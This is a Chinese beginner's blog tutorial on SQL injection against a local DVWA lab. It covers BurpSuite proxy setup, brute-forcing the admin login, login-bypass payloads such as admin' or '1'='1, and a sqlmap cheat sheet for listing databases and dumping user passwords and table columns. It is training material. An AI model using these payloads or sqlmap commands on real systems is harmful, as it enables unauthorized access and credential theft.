SQL注入初尝
Posted 立占山冈
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入初尝相关的知识,希望对你有一定的参考价值。
一、何为SQL注入?
BurpSuite官网对SQL注入做了很详细的解释,简而言之SQL注入是一个严重的web漏洞,SQL注入通常允许攻击者从易受攻击的网站中提取整个数据库,包括用户信息,加密密码和业务数据。会导致用户帐户的大规模损害,数据被加密并被勒索,或被盗数据被出售给第三方。当web应用程序以不安全的方式将用户数据合并到数据库查询中时,通常会出现SQL注入漏洞。攻击者可以操纵数据以使其自己的数据库查询执行,从而允许他们读取或修改数据库的内容。
攻击者将恶意查询代码插入用户数据中提交给web应用程序,web应用程序如果不作过滤、检测,该恶意代码会欺骗过web应用程序并提交至SQL数据库中进行执行,SQL数据库服务器将攻击者想要的查询结果返回给客户端,完成一次注入。
二、环境搭建
(一)工具简介
1.工具:史上最牛逼的web渗透工具BurpSuite。
2.靶机:DVWA+phpstudy(DVWA是一个很容易受到攻击的PHP / mysql Web应用程序。其主要目标是帮助安全专业人员在法律环境中测试他们的技能和工具,帮助Web开发人员更好地了解保护Web应用程序的过程,并帮助教师/学生在课堂环境中教授/学习Web应用程序安全性;phpstudy是一款集成php、mysql的小巧轻便的软件)
3.SQL注入神器:sqlmap(开源)是使用python开发的,运行环境依托python,攻击类型完全依据标准的SQL注入方式,即为BQTUES模式:
B:基于boolean的盲注;
Q:内联查询
T:基于时间的盲注
U:基于联合查询
E:基于错误的查询
S:基于堆叠查询
(二)安装
1.BurpSuite的环境配置比较麻烦,BurpSuite中最大的一个作用是代理,Burp Proxy工作在浏览器与web应用程序之间作为中间人代理,来自浏览器的所有HTTP / S流量都通过Burp传递。要使用Burp进行任何类型的测试,需要配置浏览器以使用它。具体配置如下:
2.数字证书的安装,默认情况下,当通过Burp浏览HTTPS网站时,代理会为每个主机生成SSL证书,并由其自己的证书颁发机构(CA)证书签名。此CA证书是在Burp第一次运行时生成的,并在本地存储。要在HTTPS网站上最有效地使用Burp Proxy,需要在浏览器中将Burp的CA证书安装为受信任的根。
SSL是安全套接层协议,应用于HTTP数据传输中,SSL可以建立一个安全通道供用户与web应用程序进行安全通信而保证不被窃听,其采用非对称+对称的方式进行加密,采用私钥与杂凑算法对数据进行签名,利用数字证书进行身份验证。因此,Burp作为代理,其自身的证书必须是浏览器受信任的,否则Burp中间人的身份没有真实性,访问https网站时会被浏览器报警并无法访问。具体配置详见BurpSuite社区,证书下载好之后安装于根证书颁发机构,成为受信任的根证书。
3.靶机环境搭建
安装phpstudy并安装相应的运行环境,安装好之后运行启动服务;
下载DVWA并将其解压放置于xxx/phpstudy/PHPTutorial/WWW中,将DVWA文件夹中config目录下的config.inc.php.dist更改为config.inc.php,并修改$_DVWA[ 'db_password' ] ='p@ssw0rd';因为该语句的意思是数据库密码为:p@ssw0rd,而phpstudy中安装好之后的mysql默认密码为root,如果以默认密码p@ssw0rd去连接数据库,会尝试失败。
安装好之后浏览器输入http://127.0.0.1/DVWA即可登陆DVWA进行渗透测试了
靶机环境搭建环节相当于在本地计算机上模拟搭建了一个web应用程序以及mysql数据库,用来模拟现实环境中的浏览器——web应用程序——数据库。
三、SQL初尝
(一)登陆DVWA进行第一个攻击课题,蛮力攻击
1.启动BurpSuite并选中拦截,使Burp工作在拦截状态;
2.切到DVWA蛮力攻击页面,在登录界面输入用户名admin,密码随便输入一个(比如123),ps:对于蛮力攻击,一个合法的用户名是很有效的,根据社会工程学,大部分的管理员账户用户名为admin,因此对用户名admin进行爆破是有效的。
3.点击登陆,此时Burp会拦截浏览器发往web应用程序的会话,可以看到用户会话数据以的传输方式,用户cookie值、用户提交的用户名及密码等。
4.将会话数据转入侵入,并将需要进行蛮力字典猜解的值前后加$
5.加载字典进行爆破并根据枚举后的响应判断密码
6.蛮力攻击成功,密码:password
(二)SQL注入
蛮力破解比较费事,有时需要跑很长时间的字典才能撞出正确的密码,如果一旦web应用程序设置登录限制的话,蛮力攻击就变得不可行了。相反,SQL注入一直是有效的攻击手段,我们可以看一看服务器的代码,可以看出,isset()函数只是对用户的输入检测是否为NULL,返回布尔类型,请注意这句查询代码:
$query = "SELECT * FROM `users` WHERE user ='$user' AND password = '$pass';";
该语句之意是在sql数据库中执行之后返回登录用户的所有信息。
SQL注入就在此,我们可以在用户名处输入:
admin' or '1'='1或者admin'-- 或者admin'#
执行语句变为:
#select * from `users` where user ='admin' or '1'='1' and password = ''
#select * from `users` where user ='admin'-- 'and password = ''
注意:SQL语法中--与#均为注释之意,and的优先级高于or,执行顺序先是and后是or。
在不输入密码的情况下,绕过sql查询,成功以管理员身份登入。
四、sqlmap初尝
限于篇幅Sqlmap的用法原理,下篇再写,这里仅列下sqlmap的命令,以便日后查询使用。
sqlmap工具使用整理:
运行命令
#define python sqlmap.py $
为了方便此处用$代替pythonsqlmap.py,后文中亦是。
$-u url --current-db
current database=acuart'
当前所使用的数据库
$-u url --current-user
Eg: current user=acuart@localhost
当前用户
$-u url --dbs
Eg :{acuart、information_schema}
使用的所有数据库
$-u url --users
Eg :current user=acuart@localhost
所有用户
$-u url --passwords
曝出数据库账户与密码
$-u url -D acuart --tables
爆相应数据库的表
$-u url -D acuart -T users --columns
暴相应数据库里相应表的列
$-u url -D acuart -T users -C “想暴出的用户名和密码”
暴字段
五、后语
脑袋如雾眼神迷离渗透小白勤勤恳恳啃书满月,怀疑迷茫智商一直未在线上,疑题犹抱琵琶半遮面将破未破,急需一代宗师醍醐灌顶指点迷津,再坚持,再坚持,渐入佳境,脉络疏通,茅塞顿开,呜呼善哉。
以上是关于SQL注入初尝的主要内容,如果未能解决你的问题,请参考以下文章